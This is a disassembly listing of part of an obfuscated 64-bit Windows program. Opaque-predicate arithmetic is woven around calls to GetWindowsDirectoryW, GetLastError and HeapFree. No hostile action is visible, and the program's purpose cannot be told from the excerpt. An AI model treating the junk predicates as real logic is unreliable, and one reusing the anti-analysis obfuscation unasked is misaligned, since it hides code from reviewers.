imul eax, eax, 0x616c33cb
add eax, 0xbe1b7881
cmp eax, 0xe89290bd
ja 0x140181030
nop dword [rax + rax]
mov eax, dword [0x1415a0158]
mov ecx, dword [0x1415a015c]
not ecx
add eax, ecx
add eax, 0xd2cdd3de
mov ecx, eax
and ecx, 0x13e7e029
add ecx, ecx
sub eax, ecx
cmp eax, 0xabe3ca4e
je 0x140181080
cmp rbp, rdi
jne 0x140181180
mov eax, dword [0x1415a0160]
xor eax, dword [0x1415a0164]
add eax, 0xbb476a59
mov ecx, eax
not ecx
and ecx, 0xdfd1751b
mov edx, eax
and edx, 0x202e8ae4
imul edx, ecx
mov ecx, eax
and ecx, 0xdfd1751b
or eax, 0xdfd1751b
imul eax, ecx
add eax, edx
add eax, 0xec646ea0
cmp eax, 0xb16aa673
jae 0x1401810fa
call fcn.14020b260
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x14017d2c6
lea rax, [rbp*2]
mov ecx, dword [0x1415a0170]
sub ecx, dword [0x1415a0174]
imul ecx, ecx, 0x1a4dfc52
add ecx, 0xe9c052ba
cmp rbp, 0x7fffffff
mov rdi, rax
cmova rdi, r15
cmp ecx, 0x1f4b53fc
jb 0x140181110
nop
mov eax, dword [0x1415a0178]
mov ecx, dword [0x1415a017c]
mov edx, ecx
not edx
or edx, eax
not eax
or eax, ecx
and eax, edx
not eax
add eax, 0x4d7d1217
mov ecx, eax
xor ecx, 0x978112c6
and ecx, eax
cmp ecx, 0xf676f5f6
je 0x140181140
jmp 0x140180e50
mov eax, dword [0x1415a016c]
add eax, dword [str.p7YHG_]
and eax, 0x84f819c
cmp eax, 0x2477b01c
je 0x140181180
cmp rbp, rdi
jb 0x140180e50
jmp 0x140181250
lea rcx, [rsp + 0x120]
mov rdx, r14
call fcn.140238e30
mov rbx, qword [rsp + 0x120]
nop
mov eax, dword [0x1415a00f8]
mov ecx, dword [0x1415a00fc]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
and ecx, 0x63d6276e
xor eax, 0xe3d6276e
lea eax, [rax + rcx*2]
xor eax, 0x3fafe764
add eax, 0x1fdd9ce0
cmp eax, 0xd3ae10ea
ja 0x1401811c0
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x68], rax
nop word [rax + rax]
mov eax, dword [0x1415a0100]
mov ecx, dword [0x1415a0104]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
or eax, 0xffbde77f
cmp eax, 0xfdeae48a
jb 0x140181220
jmp 0x140180eca
mov eax, dword [0x1415a0180]
xor edx, edx
div dword [0x1415a0184]
imul eax, eax, 0xa5c838ea
add eax, 0xa41c7d09
mov ecx, eax
xor ecx, 0x44df6808
and eax, 0x3b2097f7
add eax, eax
sub eax, ecx
cmp eax, 0xe085768
ja 0x140181250
cmp r13, rdi
movabs r15, 0x8000000000000000
mov r12, qword [rsp + 0x80]
jb 0x1401819d4
mov eax, dword [0x1415a0188]
mov ecx, dword [0x1415a018c]
mov edx, eax
xor edx, ecx
not ecx
and ecx, eax
add ecx, ecx
sub ecx, edx
add ecx, 0xae1fdf62
mov eax, ecx
and eax, 0x8d828830
mov edx, eax
not edx
and edx, 0x2b73aac7
mov r8d, ecx
and r8d, 0x84800030
imul r8d, edx
and ecx, 0x9028800
or eax, 0x2b73aac7
imul eax, ecx
add eax, r8d
cmp eax, 0x1abfaf98
jbe 0x140181304
lea rcx, [rsp + 0xa0]
mov rdx, rsi
mov r8, rdi
call fcn.14013f9c0
lea r14, [rsp + 0xa0]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.14020d000
mov rcx, r14
mov rdx, qword [rsp + 0x88]
mov r8, r12
call fcn.14020bca0
cmp qword [rsp + 0x148], 1
je 0x1401813b2
mov eax, dword [0x1415a0190]
mov ecx, dword [0x1415a0194]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
mov ecx, eax
not ecx
and ecx, 0x9020f
and eax, 0xfff6fdf0
sub eax, ecx
cmp eax, 0x2a6c5cdd
jne 0x140181388
lea rcx, [rsp + 0xa0]
call fcn.14020d100
lea rcx, [rsp + 0xa0]
call fcn.140173e90
mov eax, dword [0x1415a0198]
sub eax, dword [0x1415a019c]
xor eax, 0x91604288
or eax, 0x4498bd57
cmp eax, 0x6c4826
je 0x140181395
mov eax, 0x9c3984e1
nop word [rax + rax]
mov ecx, dword [0x1415a01a0]
imul ecx, dword [0x1415a01a4]
mov edx, ecx
xor edx, 0xf713d545
add edx, ecx
and ecx, 0x8ec2aba
sub edx, ecx
shr edx, 1
imul rdx, rax
shr rdx, 0x3d
or edx, 0x630db684
cmp edx, 0x918ebb98
ja 0x1401813c0
mov rsi, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
lea rcx, [rsp + 0x150]
mov rdx, rsi
call fcn.14018eca0
cmp qword [rsp + 0xa0], 0
je 0x140181434
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x150]
mov rdi, qword [rsp + 0x158]
nop word cs:[rax + rax]
mov ecx, dword [0x1415a01a8]
mov edx, dword [0x1415a01ac]
mov eax, ecx
not eax
mov r8d, edx
not r8d
mov r9d, eax
and r9d, 0xd0af0b4
and ecx, 0xf2f50f4b
or ecx, r9d
or eax, r8d
and r8d, 0xd0af0b4
and edx, 0xf2f50f4b
or edx, r8d
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xdac6febb
mov edx, eax
and edx, 0x25390144
imul edx, ecx
mov ecx, eax
and ecx, 0xdac6febb
or eax, 0xdac6febb
imul eax, ecx
lea ecx, [rax + rdx]
add ecx, 0xfdd2ef7d
add eax, edx
not ecx
or ecx, 0x4662b1a2
add eax, ecx
add eax, 0xfdd2ef7e
cmp eax, 0x5bcce4a3
ja 0x140181450
mov r14, qword [rsp + 0x160]
nop word cs:[rax + rax]
mov eax, dword [0x1415a01b0]
xor edx, edx
div dword [0x1415a01b4]
mov ecx, eax
xor ecx, 0x5146b208
and ecx, eax
imul eax, ecx, 0xb0d4f8b7
or eax, 0x8d953f5d
cmp eax, 0xc762b9f4
ja 0x1401814f0
test rbx, rbx
je 0x140181540
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x1415a01c8]
or eax, dword [0x1415a01cc]
imul eax, eax, 0x1696c548
xor eax, 0xd140bee6
add eax, 0xbd94b20b
cmp eax, 0x4cdfb1a
jb 0x140181540
lea rax, [r15 + 2]
nop word [rax + rax]
mov ecx, dword [0x1415a01d0]
or ecx, dword [0x1415a01d4]
mov edx, ecx
not edx
mov r8d, ecx
or r8d, 0x6e80507e
mov r9d, r8d
and r9d, 0x40e983c2
and edx, 0x91162c01
imul edx, r9d
and r8d, 0xbf167c3d
or ecx, 0xff967c7f
imul ecx, r8d
add ecx, edx
mov edx, ecx
not edx
and edx, 0x5245dd8e
mov r8d, ecx
and r8d, 0xadba2271
imul r8d, edx
mov edx, ecx
and edx, 0x5245dd8e
or ecx, 0x5245dd8e
imul ecx, edx
add ecx, r8d
cmp ecx, 0x569636ba
jb 0x140181570
mov r9, rsi
cmp rsi, rax
jge 0x1401819c4
lea rax, [r15 + 1]
cmp r9, rax
jl 0x140181b6c
je 0x1401817d0
mov eax, dword [0x1415a01d8]
or eax, dword [0x1415a01dc]
add eax, 0x721d8a3d
mov ecx, eax
and ecx, 0x64c86f59
add ecx, ecx
sub eax, ecx
cmp eax, 0x86674eda
je 0x140181604
mov eax, dword [0x1415a01e0]
mov ecx, dword [0x1415a01e4]
mov edx, eax
xor edx, ecx
not edx
or eax, ecx
and eax, edx
xor eax, 0xfaa919fa
imul rcx, rax, 0x5f01e61
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
imul eax, eax, 0x69a9f21e
cmp eax, 0xc5fadda6
jbe 0x14018166b
mov rax, qword [0x1415acb98]
mov rsi, qword [0x1415acb98]
mov eax, dword [0x1415a01e8]
xor edx, edx
div dword [0x1415a01ec]
imul eax, eax, 0x3417d230
mov ecx, eax
and ecx, 0x7afcb2d0
or eax, 0x7afcb2d1
add eax, ecx
cmp eax, 0xde8b92ca
ja 0x140181a8d
jmp 0x140181a33
mov eax, dword [0x1415a0120]
mov ecx, dword [0x1415a0124]
add eax, ecx
add eax, 0xaf878543
mov ecx, eax
not ecx
and ecx, 0x6661468f
and eax, 0x999eb970
sub eax, ecx
cmp eax, 0x6849844e
jne 0x1401816d5
call sub.KERNEL32.dll_GetLastError
call sub.KERNEL32.dll_GetLastError
mov edi, eax
shl rdi, 0x20
test rbx, rbx
je 0x140181741
mov eax, dword [0x1415a0128]
mov ecx, dword [0x1415a012c]
add eax, ecx
add eax, 0x425bb97b
or eax, 0x2305de83
cmp eax, 0x719bf455
jae 0x14018170b
mov rax, qword [0x1415acb98]
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1415a0130]
xor eax, dword [0x1415a0134]
and eax, 0x54621949
xor eax, 0xaf9fe7b7
add eax, 0x9236a377
cmp eax, 0xbb72b93f
ja 0x14018171f
or rdi, 2
nop word cs:[rax + rax]
mov eax, dword [0x1415a0138]
mov ecx, dword [0x1415a013c]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov eax, ecx
or eax, 0x18050811
and eax, 0x98d54c13
or ecx, 0x9ddd7ddf
add eax, ecx
add eax, 0x36cf4d16
cmp eax, 0x52bada91
jb 0x140181750
nop dword [rax + rax]
mov eax, dword [0x1415a0140]
imul eax, dword [0x1415a0144]
add eax, 0x1ea4c6c2
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1599d57d
and ecx, 0xea662a82
imul ecx, edx
mov edx, eax
and edx, 0xea662a82
or eax, 0xea662a82
imul eax, edx
add eax, ecx
cmp eax, 0x32b0bc23
jbe 0x140181790
mov eax, edi
and eax, 3
cmp rax, 2
jg 0x140181839
cmp eax, 1
jne 0x140181b6c
lea rsi, [rdi - 1]
mov eax, dword [0x1415a0200]
mov ecx, dword [0x1415a0204]
mov edx, eax
xor edx, ecx
not ecx
and ecx, eax
add ecx, ecx
sub ecx, edx
add ecx, 0x5c731d28
imul rax, rcx, 0x6a99dc5d
shr rax, 0x3c
not eax
and eax, 0x324814b7
neg eax
cmp eax, 0x7dd90602
jb 0x1401817e8
mov rax, rdi
mov rdi, qword [rdi - 1]
mov rbx, qword [rax + 7]
mov r14, qword [rbx]
test r14, r14
jne 0x1401818a2
jmp 0x14018190d
mov ecx, dword [0x1415a01f8]
mov eax, dword [0x1415a01fc]
mov edx, ecx
xor edx, eax
not edx
and edx, eax
add edx, edx
sub eax, edx
add eax, ecx
mov ecx, eax
not ecx
or ecx, 0x53c37d80
or eax, 0xac3c827f
and eax, ecx
add eax, 0x79a3de2e
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x88dffeac
and ecx, 0x77200153
imul ecx, edx
mov edx, eax
and edx, 0x77200153
or eax, 0x77200153
imul eax, edx
add eax, ecx
cmp eax, 0x1ed040cd
je 0x140181839
jmp 0x140181b6c
mov rcx, rdi
call r14
mov eax, dword [0x1415a0208]
mov ebp, dword [0x1415a020c]
mov ecx, eax
xor ecx, ebp
not ebp
and ebp, eax
add ebp, ebp
sub ebp, ecx
not ebp
or ebp, 0xcff4f301
xor ebp, 0x883dfb8e
add ebp, 0xa1a2be33
mov rcx, rdi
call r14
cmp ebp, 0xc3335f9b
ja 0x14018189c
mov eax, dword [0x1415a0210]
xor edx, edx
div dword [0x1415a0214]
mov ecx, eax
not ecx
and ecx, 0x4c20748
and eax, 0x7b3df8b7
sub eax, ecx
imul eax, eax, 0x913b5e4c
or eax, 0xa0270aed
cmp eax, 0x4b677d58
jb 0x1401818dc
mov rax, qword [rbx + 8]
mov ecx, dword [0x1415a0218]
and ecx, dword [0x1415a021c]
or ecx, 0x6560368
add ecx, 0xdd683bfc
mov edx, ecx
and edx, 0x72f6de62
add edx, edx
sub ecx, edx
add ecx, 0x72f6de62
cmp ecx, 0x51da2a0d
jb 0x140181911
test rax, rax
je 0x140181b00
mov rax, qword [rbx + 0x10]
mov ecx, dword [str._Vv_]
sub ecx, dword [0x1415a0224]
or ecx, 0xb1285088
and ecx, 0xb5e9d09a
imul ecx, ecx, 0x5e08b00e
cmp ecx, 0x962dac80
jb 0x140181950
cmp rax, 0x11
jb 0x140181980
mov rdi, qword [rdi - 8]
mov eax, dword [0x1415a0228]
mov ecx, dword [0x1415a022c]
mov edx, ecx
not edx
and edx, eax
xor ecx, eax
add ecx, eax
sub ecx, edx
mov eax, ecx
not eax
and eax, 0x820b10a4
or eax, 0x70704d4a
or ecx, 0x9feff6b7
and ecx, eax
imul eax, ecx, 0xf3682e8c
cmp eax, 0xeade580e
ja 0x140181aec
jmp 0x140181a9d
mov r15, r14
mov qword [rsp + 0x90], r9
jmp 0x14017af25
mov eax, dword [0x1415a01bc]
xor eax, dword [0x1415a01b8]
mov ecx, eax
and ecx, 0x2420449d
xor eax, 0xa420449d
lea eax, [rax + rcx*2]
xor eax, 0xda396ab7
mov ecx, eax
and ecx, 0x69a8569e
add ecx, ecx
sub eax, ecx
cmp eax, 0x46c8058b
jne 0x140181a0a
ud2
ud2
mov eax, dword [0x1415a01f0]
mov ecx, eax
not ecx
or ecx, dword [0x1415a01f4]
add eax, ecx
inc eax
mov ecx, 0xafdcd5f3
imul rcx, rax
shr rcx, 0x3d
xor ecx, 0x4b636ce1
mov eax, ecx
and eax, 0x96120a5
add eax, eax
neg eax
mov rbx, rdi
lea edi, [rcx + rax]
add edi, 0x1d69a2ad
mov rcx, rsi
xor edx, edx
mov r8, rbx
call fcn.14020ae70
cmp edi, 0x4a6a398a
mov rdi, rbx
ja 0x140181b6c
mov rcx, rsi
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140181a33
mov eax, dword [0x1415a0230]
mov ebx, dword [0x1415a0234]
mov ecx, eax
xor ecx, ebx
not ecx
and ecx, ebx
add ecx, ecx
sub ebx, ecx
add ebx, eax
mov eax, ebx
not eax
or eax, 0x545eb0d
and eax, 0x4545eb0d
and ebx, 0xa001412
or ebx, eax
xor ebx, 0x2da71a72
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call fcn.14020ae70
cmp ebx, 0xb960f1c8
jbe 0x140181b00
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140181a9d
mov rdi, qword [0x1415acb98]
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1415a0238]
mov ecx, dword [0x1415a023c]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
and eax, 0xb869c0cd
imul r14, rax, 0x632f68e9
shr r14, 0x3b
mov eax, r14d
not eax
mov ecx, r14d
and ecx, 0xfffffffc
and eax, 0x29c789e3
imul eax, ecx
mov ecx, r14d
and ecx, 3
or r14d, 0x29c789e3
imul r14d, ecx
add r14d, eax
mov rcx, rdi
xor edx, edx
mov r8, rsi
call rbx
cmp r14d, 0xc4e1cbc3
je 0x140181b0e
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x130], 0
mov ebx, 0x200
mov eax, 2
mov qword [rsp + 0x58], rax
xor esi, esi
mov r12d, 0xd94fa167
mov r13, qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
mov qword [rsp + 0x68], rax
xor r14d, r14d
nop dword [rax + rax]
cmp rbx, 0x201
jae 0x140181bf0
mov eax, 0x200
mov qword [rsp + 0x60], rax
lea rdi, [rsp + 0x210]
mov rbp, rbx
jmp 0x140181dbf
sub rbx, r14
nop word cs:[rax + rax]
mov eax, dword [0x1415a0240]
or eax, dword [0x1415a0244]
and eax, 0xbe97a40d
add eax, 0x5930cf23
cmp eax, 0xd4378973
ja 0x140181c00
mov r8, qword [rsp + 0x68]
mov rax, r8
movabs rcx, 0x57a865a194ae3db3
sub rax, rcx
sub rax, r14
add rax, rcx
nop dword [rax + rax]
test sil, sil
jne 0x140181c40
cmp rbx, rax
mov edi, 0xaff0b247
ja 0x140181cb6
mov eax, dword [0x1415a0248]
mov ecx, dword [0x1415a024c]
mov edx, ecx
and edx, eax
add eax, ecx
sub eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x5f4da49c
and ecx, 0xa0b25b63
imul ecx, edx
mov edx, eax
and edx, 0xa0b25b63
or eax, 0xa0b25b63
imul eax, edx
add eax, ecx
or eax, 0x18c88f4a
mov ecx, eax
xor ecx, 0xc2aceadb
add ecx, eax
and eax, 0x3d531524
sub ecx, eax
cmp ecx, 0xdb20ad28
mov ecx, 0xffffffff
je 0x140181d75
jmp 0x140181d40
mov eax, dword [0x1415a0258]
add eax, dword [0x1415a025c]
imul eax, eax, 0x25ef7634
add eax, 0xdba427c0
or eax, 0xd858e4b
cmp eax, 0xa9b7c42c
jbe 0x140181cec
lea rcx, [rsp + 0x120]
mov rdx, r14
mov r8, rbx
call fcn.14020cdf0
lea rcx, [rsp + 0x120]
mov rdx, r14
mov r8, rbx
call fcn.140238e30
nop
mov eax, dword [0x1415a0260]
or eax, dword [0x1415a0264]
mov ecx, eax
and ecx, 0x52e5dd77
add ecx, ecx
sub eax, ecx
cmp eax, 0x3f91f9ca
je 0x140181d00
mov r8, qword [rsp + 0x120]
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x58], rax
jmp 0x140181c4f
mov eax, dword [str.V__M]
xor eax, dword [0x1415a0254]
imul rax, rdi
shr rax, 0x3f
or eax, 0x90c01360
cmp r8, rcx
mov r14d, 0xffffffff
cmovb r14, r8
mov qword [rsp + 0x130], r14
cmp eax, 0x299801d0
jae 0x140181d90
cmp r8, rcx
mov eax, 0xffffffff
cmovb rax, r8
mov qword [rsp + 0x130], rax
jmp 0x140181d40
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x60], r14
mov rdi, qword [rsp + 0x58]
mov rbp, r14
jmp 0x140181dbf
xor ecx, ecx
call fcn.14020bc80
mov rcx, rdi
mov edx, ebp
call r13
mov eax, dword [0x1415a0268]
mov r15d, dword [0x1415a026c]
mov ecx, eax
xor ecx, r15d
not ecx
and ecx, r15d
add ecx, ecx
sub r15d, ecx
add r15d, eax
mov eax, r15d
not eax
and eax, 0x6dc7c8cf
mov ecx, r15d
and ecx, 0x92383730
imul ecx, eax
mov eax, r15d
and eax, 0x6dc7c8cf
or r15d, 0x6dc7c8cf
imul r15d, eax
add r15d, ecx
imul r15, r12
shr r15, 0x3e
xor r15d, 0x463a60a1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, rdi
mov edx, ebp
call r13
cmp r15d, 0x9e959210
ja 0x140181db0
mov ebx, eax
test eax, eax
mov r15d, 0xffffffff
jne 0x140181f00
mov eax, dword [0x1415a0270]
sub eax, dword [0x1415a0274]
add eax, 0xb916357b
mov ecx, eax
xor ecx, 0xac081
xor eax, 0x1b601b6e
mov edx, eax
and edx, 0xfcd52e1e
and ecx, 0x32ad1e1
imul ecx, edx
mov edx, eax
and edx, 0x32ad1e1
or eax, 0x32ad1e1
imul eax, edx
add eax, ecx
cmp eax, 0x14d2fda4
jae 0x140181e93
call sub.KERNEL32.dll_GetLastError
call sub.KERNEL32.dll_GetLastError
mov edx, 0xb38097bf
nop dword [rax]
mov ecx, dword [0x1415a0278]
xor ecx, dword [0x1415a027c]
imul rcx, rdx
shr rcx, 0x3e
cmp ecx, 0x9c28afcb
je 0x140181ea0
nop dword [rax]
mov ecx, dword [0x1415a0280]
and ecx, dword [0x1415a0284]
mov edx, ecx
xor edx, 0x7537de4e
or ecx, 0x8ac821b1
and ecx, edx
add ecx, 0xd3548d6d
or ecx, 0x4db588f8
cmp ecx, 0x697d25b2
jb 0x140181ec0
test eax, eax
jne 0x1401821bb
nop dword [rax + rax]
mov eax, dword [0x1415a02b0]
or eax, dword [0x1415a02b4]
mov ecx, eax
not ecx
or ecx, 0xeec97881
add eax, ecx
add eax, 0x6e127899
mov ecx, eax
and ecx, 0xcc33344
xor eax, 0x8cc33344
lea eax, [rax + rcx*2]
cmp eax, 0x7e6f75cb
jb 0x140181f00
mov ebx, ebx
cmp rbp, rbx
jne 0x140181f70
mov eax, dword [0x1415a02b8]
xor eax, dword [0x1415a02bc]
add eax, 0x90ad95da
or eax, 0x4e6a9396
mov ecx, eax
xor ecx, 0x8e6f370e
and ecx, eax
cmp ecx, 0xb2f5193b
ja 0x1401820b0
jmp 0x140181fc0
mov eax, dword [0x1415a02c8]
mov ecx, dword [0x1415a02cc]
xor ecx, eax
not ecx
and ecx, eax
add ecx, 0x410ba61d
mov eax, ecx
xor eax, 0x36e6d2ce
and ecx, 0x49192d31
add ecx, ecx
sub ecx, eax
add ecx, 0xdf24488b
cmp ecx, 0xcc18da58
ja 0x140181f70
cmp rbp, rbx
jb 0x140181bc0
jmp 0x1401820c0
mov eax, dword [0x1415a02c0]
xor edx, edx
div dword [0x1415a02c4]
mov ecx, eax
and ecx, 0x2fff897b
add ecx, ecx
neg ecx
add eax, ecx
add eax, 0xafff897b
mov ecx, eax
not ecx
or eax, 0xf01868f8
or ecx, 0xfe79707
and ecx, eax
imul edi, ecx, 0xe837e588
call fcn.14020b260
cmp edi, 0x136f1528
jb 0x1401820b0
cmp eax, 0x7a
jne 0x140182218
nop word cs:[rax + rax]
mov eax, dword [0x1415a02d0]
xor eax, dword [0x1415a02d4]
mov ecx, eax
xor ecx, 0x78bb8c24
add ecx, eax
and eax, 0x874473db
sub ecx, eax
mov eax, ecx
xor eax, 0x6590100a
and ecx, 0x1a6feff5
add ecx, ecx
sub ecx, eax
add ecx, 0x590835b3
cmp ecx, 0xc83ac18d
jb 0x140182020
lea rbx, [rbp*2]
cmp rbp, 0x7fffffff
cmova rbx, r15
nop
mov eax, dword [0x1415a02d8]
xor edx, edx
div dword [0x1415a02dc]
mov ecx, eax
xor ecx, 0xd1c95dae
xor eax, 0x34cb24e5
and ecx, 0x1afd86b4
add ecx, ecx
sub ecx, eax
cmp ecx, 0x10a85aa5
je 0x140182070
jmp 0x140181bc0
call fcn.14020b260
jmp 0x140181fc0
mov eax, dword [0x1415a02e8]
xor eax, dword [0x1415a02ec]
shr eax, 2
imul rax, rax, 0x588f7431
shr rax, 0x3a
lea ecx, [rax - 0x33cd6c90]
mov edx, eax
not edx
mov r8d, ecx
and r8d, 0x8008121
and edx, 0x13010486
imul edx, r8d
and ecx, 0xc4321256
or eax, 0xdf3397f6
imul eax, ecx
add eax, edx
cmp eax, 0xde348e5e
je 0x1401820c0
cmp qword [rsp + 0x60], rbx
movabs r14, 0x8000000000000000
mov rsi, qword [rsp + 0x80]
mov r15, qword [rsp + 0x88]
mov r12, qword [rsp + 0x58]
jb 0x14017d2c6
lea rcx, [rsp + 0xa0]
mov rdx, rdi
mov r8, rbx
call fcn.14013f9c0
xor eax, eax
test al, al
je 0x140182165
lea rcx, [rsp + 0xa0]
mov rdx, r15
mov r8, rsi
call fcn.140158730
lea rcx, [rsp + 0xa0]
mov rdx, r15
mov r8, rsi
call fcn.140158730
cmp qword [rsp + 0x148], 1
je 0x1401822c2
mov eax, dword [0x1415a02f0]
or eax, dword [0x1415a02f4]
mov ecx, eax
xor ecx, 0x150a
add ecx, eax
and eax, 0x2af5
sub ecx, eax
and ecx, 0x3011
cmp ecx, 0x5f26cae
ja 0x1401822b3
jmp 0x140182247
mov eax, dword [0x1415a0288]
or eax, dword [0x1415a028c]
movabs rdi, 0x18ed63903f5f737d
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x312d1616
and ecx, 0xced2e9e9
imul ecx, edx
mov edx, eax
and edx, 0xced2e9e9
or eax, 0xced2e9e9
imul eax, edx
add eax, ecx
add eax, 0xbc97be5f
mov ecx, eax
xor ecx, 0xa599cbdb
and ecx, eax
cmp ecx, 0xcbac4a6b
je 0x140182471
jmp 0x140182449
ud2
mov eax, dword [0x1415a02f8]
mov ecx, dword [0x1415a02fc]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
not ecx
or ecx, 0x29085051
and eax, 0x2128f80
xor ecx, 0xd4e5703f
or ecx, eax
mov eax, ecx
and eax, 0x316e0240
add eax, eax
neg eax
lea esi, [rcx + rax]
add esi, 0xb16e4240
lea rcx, [rsp + 0xa0]
call fcn.140173e90
cmp esi, 0x1ae0644e
jae 0x1401822c2
lea rcx, [rsp + 0xa0]
call fcn.14020d100
jmp 0x140182247
mov rdi, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
lea rcx, [rsp + 0x150]
mov rdx, rdi
call fcn.14018eca0
cmp qword [rsp + 0xa0], 0
je 0x1401822fe
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call fcn.14020ae70
mov rsi, qword [rsp + 0x150]
mov rdi, qword [rsp + 0x158]
nop
mov eax, dword [0x1415a0300]
add eax, dword [0x1415a0304]
or eax, 0x9c096e2e
add eax, 0xa2a75c42
mov ecx, eax
and ecx, 0x241515c1
add ecx, ecx
sub eax, ecx
add eax, 0xa41535c1
cmp eax, 0x5a7c7df9
jb 0x140182310
mov r15, qword [rsp + 0x160]
cmp qword [rsp + 0x68], 0
je 0x140182360
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1415a0308]
and eax, dword [0x1415a030c]
or eax, 0x204e9994
and eax, 0x64cf9dd6
xor eax, 0x8b48744e
cmp eax, 0x75d796b8
jb 0x140182360
lea rcx, [r14 + 2]
nop word cs:[rax + rax]
mov eax, dword [0x1415a0310]
xor edx, edx
div dword [0x1415a0314]
mov edx, eax
xor edx, 0xe0c36f27
and eax, 0x1f3c90d8
add eax, eax
sub eax, edx
mov edx, eax
xor edx, 0x844620e0
xor eax, 0x3290b04
and eax, 0x43a9db04
and edx, 0xbc5624fb
or edx, eax
cmp edx, 0xac3d8e58
ja 0x140182390
mov esi, dword [0x1415a0290]
sub esi, dword [0x1415a0294]
mov eax, esi
xor eax, 0x2bb43676
or esi, 0xd44bc989
and esi, eax
call sub.KERNEL32.dll_GetLastError
cmp esi, 0x7317003
jne 0x140182478
call sub.KERNEL32.dll_GetLastError
jmp 0x140182449
shl rax, 0x20
movabs r15, 0xe7129c6f00000000
xor r15, rdi
and r15, rax
lea rsi, [rdi + 2]
xor rsi, rdi
cmp qword [rsp + 0x68], 0
movabs r14, 0x8000000000000000
mov r12, qword [rsp + 0x58]
je 0x140182546
mov rdi, qword [0x1415acb98]
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1415a0298]
mov ecx, dword [0x1415a029c]
lea ebp, [rcx + rax]
add ebp, 0xec7fd1be
or ebp, 0xfff71bf1
mov rcx, rdi
xor edx, edx
mov r8, r12
call rbx
cmp ebp, 0xe2087653
jae 0x1401824f8
mov rcx, rdi
xor edx, edx
mov r8, r12
call fcn.14020ae70
jmp 0x1401824bc
mov eax, dword [str.0b_q]
xor eax, dword [0x1415a02a4]
mov ecx, eax
not ecx
or ecx, 0x9a2439d8
add eax, ecx
inc eax
mov ecx, eax
not ecx
and ecx, 0xd2fcc1f8
mov edx, eax
and edx, 0x2d033e07
imul edx, ecx
mov ecx, eax
and ecx, 0xd2fcc1f8
or eax, 0xd2fcc1f8
imul eax, ecx
add eax, edx
imul eax, eax, 0xc4c082b
cmp eax, 0xef9664b9
jb 0x1401824f8
mov rdi, r15
xor rdi, rsi
mov eax, dword [0x1415a02a8]
add eax, dword [0x1415a02ac]
imul rax, rax, 0x7370d919
shr rax, 0x3e
not eax
and eax, 0x9fbef9df
add eax, 0xc4856a09
jae 0x14018254c
mov rcx, rdi
xor rcx, 0xfffffffffffffffc
mov rax, rdi
or rax, 3
and rax, rcx
cmp rax, 2
jg 0x1401827aa
cmp rax, 1
jne 0x14018283e
lea rsi, [rdi - 1]
mov rdx, rdi
mov rdi, qword [rdi - 1]
mov eax, dword [0x1415a0330]
xor eax, dword [0x1415a0334]
add eax, 0x46f2703b
mov ecx, eax
not ecx
or ecx, 0xe79ffff3
or eax, 0x1860000c
and eax, ecx
add eax, 0x12b32445
cmp eax, 0xb7797ecc
ja 0x1401825a1
mov rbx, qword [rdx + 7]
mov eax, dword [0x1415a0338]
mov ecx, dword [0x1415a033c]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
and eax, 0x7fffffff
xor eax, 0x3eb1867e
add eax, 0xd210cea5
or eax, 0xb0c669f0
cmp eax, 0xc2f3fe7
jb 0x1401825d3
mov rax, qword [rbx]
test rax, rax
je 0x140182648
mov eax, dword [0x1415a0320]
xor edx, edx
div dword [0x1415a0324]
mov ecx, eax
xor ecx, 0xba609ae6
add ecx, eax
and eax, 0x459f6519
sub ecx, eax
mov eax, ecx
xor eax, 0xd8d3a58d
and eax, ecx
mov ecx, eax
not ecx
